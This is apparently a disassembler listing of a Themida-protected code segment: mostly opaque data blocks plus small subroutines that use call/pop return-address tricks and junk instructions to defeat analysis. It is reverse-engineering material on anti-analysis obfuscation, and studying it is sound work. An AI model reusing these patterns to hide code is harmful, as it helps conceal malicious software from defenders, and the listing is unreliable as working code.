		dd 13C269B5h, 0C830F06h, 0F000000h, 680h, 0F1BD8B00h, 8B061005h
		dd 100E2585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 73CF675Bh, 634BBC57h, 0EE869h, 0EF6E0000h
		dd 0B28A1FC4h, 7E78CE0Fh, 0CF8663F2h, 11E58D89h, 895B0610h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5DFFF349h, 0A936045Bh, 858BA051h, 6102185h
		dd 4689F98Bh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 89594E5Fh, 101B7185h, 60BF9606h
		dd 500554DEh, 0D88B6696h, 0C265B5FFh, 0E9F50613h, 0Bh
		dd 0C40C1E97h, 5453AADAh, 68D6E18Fh, 808CBD4Eh,	799DF5BFh
		dd 24048107h, 7F9246B1h, 2F298589h, 858D0610h, 613C26Dh
		dd 16850F50h, 0E8000000h, 10h, 0E2D1D925h, 0FDEABFF2h
		dd 36A5EC56h, 1B69EBA8h, 8E0F5F5Bh, 3, 90D8B70Fh, 0BF50F7B7h
		dd 0C07D08Ch, 4830F90h,	66000000h, 0FFB3BBBBh, 1005D595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 6A19F9E1h, 0EFA0B5B8h, 6A6126h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0C74650C3h, 0E46196Dh, 1B5898Bh, 0C706101Eh,	1022C185h
		dd 306h, 0DEB70F00h, 0B519D89h,	0BD830610h, 613C26Dh, 2F840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0D681C357h, 27E92Fh, 800F0000h
		dd 6, 1CF99589h, 30500610h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 205BF983h, 22BF6660h
		dd 0D8B70F5Ah, 68A0F61h, 89000000h, 1013D9B5h, 0C1BD8306h
		dd 3061022h, 424850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0A82B8EC3h, 0B70FF686h
		dd 6DBD83FEh, 613C2h, 3F4840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4C432CC3h
		dd 2C44D062h, 0FFFC7439h, 13C26DB5h, 0FFC0B706h, 102FA595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0FF21241h, 0F71D320Eh, 0BF66B8B8h, 0B58B90C2h
		dd 613C261h, 2DA59509h,	6C70610h, 10001h, 39EBBF66h, 50606096h
		dd 5A310F52h, 0DE858h, 0B8640000h, 0EBA35E1Fh, 0F352109Ah
		dd 5E2E2F5Eh, 0D38B6661h, 57565061h, 5B5F5F52h,	56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0BAA22FFh, 0BF621578h, 45BD899Ah, 0FF06102Ah, 13C26DB5h
		dd 0DF816606h, 95FFCF22h, 6101225h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 3DC35747h, 9589F813h, 6101F55h
		dd 0C261B58Bh, 6A0613h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 456C28C3h, 56074690h, 538966D6h
		dd 1E6D9D8Bh, 8B5B0610h, 1021D185h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0BD2B52E3h
		dd 61032B9h, 0C486895Bh, 8B000000h, 1009F595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A1B9702Ah, 89222CF7h, 1011718Dh, 0E95F5106h, 9, 26D5FAC5h
		dd 87F178A7h, 4C28309h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0E2C35141h, 8660A79Eh, 89DFF07Eh, 8D0F2050h
		dd 6, 0DC59589h, 858D0610h, 613D7C2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 76C35242h, 4B715678h, 0D5A1E786h
		dd 0B886895Bh, 8B000000h, 1027859Dh, 6A006A06h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 7F2CC352h, 0BF0F60CFh, 0DFBF0FC7h, 0DA816061h, 44A360D6h
		dd 0FE78166h, 0B5FF613Bh, 613C26Dh, 8E9h, 6F29DF00h, 0D7CE3498h
		dd 9595FF7Fh, 29061004h, 10090985h, 0BB665006h,	3489E133h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0D381662Dh, 0B5FF26B6h, 613C26Dh, 2D95FFFCh
		dd 6A061016h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F4DC357h, 81h, 0C0CF8100h, 837FA6C4h
		dd 101351BDh, 840F0006h, 4Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0C3C35343h,	21523E80h, 3197AE08h
		dd 100011BDh, 34895006h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0D65B1740h, 0B5FFD891h
		dd 613C26Dh, 0FFF98B66h, 100C1995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 174CA6FAh
		dd 75858987h, 0FF06102Dh, 13C26DB5h, 0E1EF8006h, 162195FFh
		dd 7E90610h, 0F4000000h, 242D03C2h, 890F4E67h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6100F89h], 2
		jz	loc_59DA5E
		push	0
		push	ecx
		call	sub_59DA18
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DA18	proc near		; CODE XREF: Themida_:0059DA10p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_59DA18	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		and	edi, [esp]
		xchg	eax, edx
		and	al, 82h
		mov	[ebp+6102A01h],	ebx
		mov	eax, [ebp+61010C5h]
		mov	byte ptr [eax],	0
		push	0
		push	ebp
		call	sub_59DA4A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DA4A	proc near		; CODE XREF: Themida_:0059DA42p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59DA4A	endp

; ---------------------------------------------------------------------------
		dw 0E85Bh
; ---------------------------------------------------------------------------
		mov	gs, bx


loc_59DA5E:				; CODE XREF: Themida_:0059DA07j
		mov	dword ptr [ebp+6102A25h], 0
		push	0
		push	edx
		call	sub_59DA73
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DA73	proc near		; CODE XREF: Themida_:0059DA6Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_59DA73	endp

; ---------------------------------------------------------------------------
		db 6Ah
		dd 2B70CCA7h, 1FE977DAh, 8BFFFFF3h, 102805BDh, 6AC18B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 17F2C351h, 89A7F4DDh, 101F9585h, 0B9858D06h
		dd 6A061013h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8104C355h, 50C203DFh, 4895009h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0CEB65265h, 0B834B2C1h, 9589EC4Fh, 6100535h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0B30F6DC3h, 0EB2E158Ch, 0E8E8B8C7h, 8, 0A32B775Dh
		dd 36F75BA6h, 22699589h, 6A5B0610h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2B41B8A6h
		dd 8D080E85h, 15286585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BFF54B05h, 71A88818h
		dd 833FE780h, 0E38105C0h, 84F6CCh, 0CE850h, 66510000h
		dd 126C3F42h, 0D9BD2E0Fh, 0E86048B9h, 13h, 1B00AF79h, 58E1B930h
		dd 1705258Fh, 45F40B86h, 5EDF1E28h, 61D38B66h, 2404895Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h
		dd 221680ABh, 0DEBF0F9Bh, 11ADBD8Bh, 6A0610h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9DC35242h, 95899DB0h
		dd 61027E9h, 0BD8B006Ah, 61010DDh, 1D1995FFh, 0BF530610h
		dd 3410D391h, 0C8F0F5Fh, 0F000000h, 684h, 0BD9D0100h, 8D06101Ah
		dd 13AFD88Dh, 85BD8906h, 0FF061004h, 9BD83D1h, 1061022h
		dd 62850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0D9CA2FC3h, 3980F4A8h, 26AD860h
		dd 0BE9h, 20DDD00h, 6857FFADh, 0DA8D81Bh, 0BE950h, 20540000h
		dd 7BC34202h, 1067E60Eh, 240489D9h, 2D959D09h, 95FF0610h
		dd 6100495h, 6830Fh, 0EB810000h, 336D00A7h, 0D98E9h, 0E800h
		dd 815D0000h, 15286FEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 57D3FCE6h, 0C8B0Fh, 810F0000h
		dd 6, 8F0Fh, 31FC0000h,	10208D8Dh, 0B6858D06h, 8B061399h
		dd 101FDD9Dh, 6BB79006h, 92BF5250h, 5B5F4182h, 68D0F90h
		dd 8B000000h, 1029399Dh, 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_59DD4F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DD4F	proc near		; CODE XREF: Themida_:0059DD47p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_59DD4F	endp

; ---------------------------------------------------------------------------
		retf	177Bh
; ---------------------------------------------------------------------------
		lodsb
		or	eax, 9D8D897Bh
		and	edx, [eax]
		push	es
		mov	large fs:0, esp
		cld
		inc	dword ptr [ebp+6101419h]
		push	ecx
		and	di, 0C563h
		pop	ebx
		push	0FFFFFFFFh
		push	0
		push	ebp
		call	sub_59DD8D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DD8D	proc near		; CODE XREF: Themida_:0059DD85p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_59DD8D	endp

; ---------------------------------------------------------------------------
		db 54h,	6Dh, 78h
		dd 0B5A3D097h, 65B5FF19h, 6A061008h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E27C353h
		dd 0A094A59Ah, 7E97D94h, 99000000h, 9DACC74Fh, 95FF1E52h
		dd 6100615h, 135E9h, 0B0F98B00h, 5FF95600h, 6670E6F9h
		dd 71E4FA8Bh, 2DA7BF66h, 3CD9B70Fh, 17830F61h, 89000001h
		dd 10162595h, 0E58D8906h, 0F061014h, 0BD8BC8B6h, 61011CDh
		dd 6BAh, 0F8BF0F00h, 8B0FC18Bh,	6, 2275BD2Bh, 0E8C10610h
		dd 0AFBB6604h, 0DA8B66E9h, 0BE2F766h, 102829BDh, 8BC82B06h
		dd 1032DD9Dh, 899D8B06h, 8B06100Dh, 0FBBF0FD1h,	0C1E9h
		dd 0F7816600h, 858BDB9Eh, 505F4C4Ch, 0FFBADB81h, 0C08317A1h
		dd 31C38107h, 83395EC9h, 12E800C0h, 23000000h, 717F0EB2h
		dd 34DAD632h, 0E49D3600h, 341572D9h, 10E960B5h,	0F8000000h
		dd 879B3FC7h, 101B2003h, 0AFD17C6Dh, 617DA828h,	0FD03B5Fh
		dd 1183h, 0FE8B6600h, 0D7DFBF66h, 61E9h, 0C890BB00h, 8D8B029Fh
		dd 0FFFFFFFFh, 0FE9h, 81AA000h,	54DCF61h, 59DC088Fh, 40CD0988h
		dd 0F01E183h, 3984h, 0F9BF0F00h, 83F8B70Fh, 0FFFFFFA5h
		dd 0BD2BFEFFh, 6102025h, 4C4C9589h, 0BE8505Fh, 62000000h
		dd 979B6F22h, 4BAFCA1Dh, 0BB66D334h, 315B8775h,	1015A995h
		dd 0E906h, 0B58D0000h, 6149DDFh, 6AFBBF0Fh, 315B5300h
		dd 1027DDBDh, 0C995FF06h, 6A061031h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0AF47C357h
		dd 773258CEh, 0C5BD09B6h, 0B906102Ah, 0F84h, 1E9D8589h
		dd 0E1830610h, 11E8FCh,	0D7B80000h, 47783D39h, 0E19FEA71h
		dd 0F8092D86h, 8947CAA5h, 101471BDh, 6AFC5B06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F1EC356h, 687h, 0FD8D0100h,	0E906101Dh, 0Bh, 0AB6A6A63h
		dd 0CF7CE3BAh, 0B869F6BEh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_59DFCF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DFCF	proc near		; CODE XREF: Themida_:0059DFC7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_59DFCF	endp

; ---------------------------------------------------------------------------
		db 0BCh
		dd 5FE6362Bh, 0F5BB75D4h, 0DE8h, 61EDFC00h, 0B4A57A7Ah
		dd 0A88248D4h, 8B66DDF7h, 0BA5FFAh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 244FC356h, 527CEDB9h, 12CDB529h, 95F0610h, 1018ED95h
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 0B4F781F4h, 6A094F1Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 89BDC351h, 1013A1BDh, 880D06h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 1A263EC3h, 0BD8B191Eh, 6100A99h, 8BF98B66h, 1009F595h
		dd 8D01F906h, 6101189h,	23198D8Bh, 0FA8B0610h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D895818h,	6100C81h
		dd 6A5CE380h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 5E19C356h, 0DA8B8D75h,	1E29BD83h
		dd 0F000610h, 1F84h, 35BD8B00h,	29061013h, 1031CD8Dh, 0B806h
		dd 8D890000h, 610167Dh,	4E858D8Dh, 0E1FF0610h, 22C1BD83h
		dd 0F000610h, 47384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 5E50E546h, 838B766Eh
		dd 1022C1BDh, 840F0106h, 45Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 50C35242h, 0B19D89F4h, 33061000h
		dd 10124D9Dh, 0C1BD8306h, 3061022h, 3F3860Fh, 860F0000h
		dd 0
; ---------------------------------------------------------------------------
		pusha
		push	0
		push	esi
		call	sub_59E194
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E194	proc near		; CODE XREF: Themida_:0059E18Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_59E194	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		enter	0FFFFF215h, 0C8h
		mov	bl, 57h
		cld
		mov	di, 0DF87h
		mov	[ebp+6101BADh],	eax
		mov	cx, ds
		push	0
		push	edi
		call	sub_59E1C4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E1C4	proc near		; CODE XREF: Themida_:0059E1BCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_59E1C4	endp

; ---------------------------------------------------------------------------
		dd 25893E59h, 80AB729Fh, 0CE904E1h, 25000000h, 8C3DA57Dh
		dd 0C5603CFFh, 0A6AACBEh, 59840FC9h, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0EA69C356h, 85858B67h, 9061021h, 102F7D9Dh, 0FD853306h
		dd 6A061011h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 89D5C355h, 1021B1B5h, 8B529006h
		dd 0BF505FFBh, 26CB68EEh, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 6E9609Dh, 1C000000h
		dd 60EE825Eh, 28F0F47h,	8A000000h, 6A61FEh, 0AE8h, 2882C00h
		dd 4192A19Ah, 666EA97Dh, 65B8D381h, 9DB7685Bh, 12E9768Fh
		dd 9D000000h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh
		dd 243481E5h, 76909E48h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 72C35545h, 0DAB70F41h, 0FF70EF80h, 1005D595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0F4982FF8h, 4C07830h, 55F78166h,	6D8589AFh
		dd 0E90613C2h, 0Dh, 0DF23E896h,	0E11A6BD9h, 2980847Bh
		dd 1CBE97Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0D67E74C3h, 0FFBF0FFEh, 0C265858Bh
		dd 0BD010613h, 6101B79h, 1800C7h, 8B660000h, 69B58BF9h
		dd 6A0613C2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0BB68C351h, 14E9h, 5F272A00h
		dd 1B10192Fh, 5111C320h, 0AE201038h, 0FC30B83Fh, 25858B75h
		dd 8906100Eh, 102F6185h, 6A068906h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6BDBC353h
		dd 3175AA4Ch, 858BFA8Bh, 6102185h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 4EC35747h, 56751BA3h, 23B1BD33h
		dd 895B0610h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 966FB6C3h, 0B9666060h, 0CE8E675h
		dd 95000000h, 30FCFD48h, 39D4F350h, 5E26690Ch, 0F506161h
		dd 880h, 0F525000h, 5A616031h, 6A9658h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 393D80C3h
		dd 0C05DA2FBh, 0B5FF6FB3h, 613C265h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 41C35040h, 64964CF7h, 7E155C6Eh
		dd 9018589h, 72680610h,	6618821Eh, 3481DE8Bh, 9D1D8D24h
		dd 53006A18h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 298483CCh, 101F698Dh, 858DF506h,	613C26Dh
		dd 312D8D89h, 8B900610h, 0BB6650DAh, 8B90BE32h,	1000C1BDh
		dd 0D595FF06h, 81061005h, 0CE0CBF7h, 5E96164h, 92000000h
		dd 50A0B04Ah, 22C185C7h, 30610h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0EB2BFFC3h
		dd 44FBEB02h, 8B6C18E9h, 6DBD83DFh, 613C2h, 33840Fh, 0E9FC0000h
		dd 48h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 4BC35747h, 8831CDE0h, 0F2F1A91h, 28Bh, 0B754B300h, 0C305084h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	10EB8166h
		dd 0C1BD8317h, 3061022h, 445850Fh, 0BD0B0000h, 6101055h
		dd 0C26DBD83h, 0F000613h, 43284h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8CE879E1h
		dd 0AC3D8538h, 0F19D0373h, 0FF061012h, 13C26DB5h, 219D8B06h
		dd 0FF061001h, 102FA595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8BF55DE4h
		dd 13C261B5h, 0C58D2906h, 0C7061032h, 1000106h,	13E900h
		dd 0EB180000h, 0B9696939h, 0CE9B2838h, 107EA68Ch, 5538BCB6h
		dd 965096CBh, 9D89FE8Bh, 6102AB5h, 0C26DB5FFh, 820F0613h
		dd 6, 1B3DB501h, 95FF0610h, 6101225h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 5FC35040h, 9D016FB0h, 6101D05h
		dd 0A09BD8Bh, 0B58B0610h, 613C261h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 5EC35545h, 81666EFEh, 8BDCC6D3h
		dd 1021D185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 300FD409h, 0E943B70Dh, 0BD8B155Dh
		dd 6101F59h, 0C48689h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 99957EC3h, 0F5958B48h
		dd 0E9061009h, 0Ch, 8D1B5B0Ah, 0F730B9B1h, 0EDC8FC75h
		dd 8363E380h, 9D0904C2h, 6103169h, 6512C381h, 50896F36h
		dd 53006A20h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0BBE64A60h, 9D29F6A8h, 61015C9h,	0D7C2858Dh
		dd 0E7800613h, 8DBD8BC1h, 89061034h, 0B886h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 65620BE4h, 216B7E03h, 0CB81006Ah, 5D18B835h,	0C26DB5FFh
		dd 8D890613h, 6102F71h,	49595FFh, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 967CF1C3h
		dd 1640BB66h, 238A0F50h, 0E8000000h, 0Bh, 0AB2CEE96h, 0E19131D4h
		dd 0E9DB17C0h, 0Dh, 92E96E9Bh, 0EBB860D9h, 0FA77D699h
		dd 6A965B6Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0FBD6C355h, 0D5B40441h, 0C26DB5FFh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 7824B0C3h, 0CC971444h, 8A0F4640h,	6, 2F358D89h
		dd 95FF0610h, 610162Dh,	209D8589h, 0BD830610h, 6101351h
		dd 60840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0D58CC350h,	6552BA98h
		dd 0B89AC33h, 1C459D8Bh, 0E9960610h, 7,	60A2E4D0h, 507AAA2Bh
		dd 6A96D98Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 7950C350h, 0CDBD8929h,	0FF061020h
		dd 13C26DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 72DC8BEFh, 0E82A963Ah, 7E9E147h
		dd 8E000000h, 8ADDA5DDh, 85016848h, 6100AF9h, 0C1995FFh
		dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0D21D2FC3h, 0FF38634Ch, 13C26DB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 95FF8E32h, 6101621h,	125B501h, 0BD830610h, 6100F89h
		dd 5D840F02h, 57000000h, 5FDF8B66h, 10C5858Bh, 6A0610h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0DA1052C3h, 8BE9D1AEh, 1021059Dh, 0C606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BFC35646h
		dd 0F9B5030Ah, 9589BA95h, 6100B61h, 2A2585C7h, 610h, 9D8B0000h
		dd 6101AA9h, 0EE9h, 58DC00h, 32A9896Ah,	0CCEAAC3Eh, 0E9CEA425h
		dd 0FFFFF35Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	6EC35747h, 37963193h, 0E19D8BD5h, 8B06100Dh, 53006AC1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8B9500E9h, 0B9858DD9h, 0F061013h, 18Dh, 0BD8BF500h
		dd 6100231h, 5880F90h, 0BB000000h, 6594F090h, 0AE950h
		dd 0D8FC0000h, 0DC2A4253h, 3119FEE3h, 11E990h, 40D40000h
		dd 40B5D8FEh, 0D3BBBFC9h, 3D8287E4h, 6A6D3AB3h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 6D37BE1Eh, 0C52D0A89h, 12E8h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_59EADD	proc near		; DATA XREF: Themida_:0054D1E0o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059EB5D SIZE 0000000B BYTES

		mov	edx, 0BD687961h
		mov	ds:61808C50h, eax
		xlat
		cmp	[esi], ah
		sub	al, 0A3h
		jno	short loc_59EB5D
		jmp	loc_59EAFE
; ---------------------------------------------------------------------------
		dd 6C8F293Fh, 0C53EFD42h
		db 0CCh
; ---------------------------------------------------------------------------
		push	cs


loc_59EAFE:				; CODE XREF: sub_59EADD+12j
		pop	ebx
		push	0
		mov	[ebp+6101B05h],	eax
		lea	eax, [ebp+6153826h]
		mov	[ebp+6101D75h],	ebx
		add	eax, 5
		push	0
		push	esi
		call	sub_59EB21
		and	[esi-3Dh], bl
sub_59EADD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59EB21	proc near		; CODE XREF: sub_59EADD+3Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_59EB21	endp

; ---------------------------------------------------------------------------
		db 0D4h, 81h, 0DBh
; ---------------------------------------------------------------------------
		movsb
		adc	[bx], cx
		mov	bh, 0D9h
		nop
		jge	loc_59EB45
		mov	bx, cx


loc_59EB45:				; CODE XREF: Themida_:0059EB3Cj
		push	eax
		pusha
		mov	si, 0E011h
		popa
		nop
		push	0
		push	ebx
		call	sub_59EB58
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59EB58	proc near		; CODE XREF: Themida_:0059EB50p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
sub_59EB58	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_59EADD


loc_59EB5D:				; CODE XREF: sub_59EADD+10j
		add	dword ptr [esp+4], 19h
		inc	ebx
		push	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_59EADD
; ---------------------------------------------------------------------------
		dd 78AAB1ACh, 0E3B7EF9Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0E17498C3h, 5F9B774Dh
		dd 6A176773h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 97EB1B8h,	0F18D892Bh, 0FF061020h
		dd 101D1995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8D6016DEh, 13AFD88Dh, 3DB58906h
		dd 0FF061014h, 0CE9D1h,	83D00000h, 94B31768h, 7C96F406h
		dd 0BD8382B0h, 6102209h, 82850F01h, 8B000000h, 101BCD9Dh
		dd 6A026A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
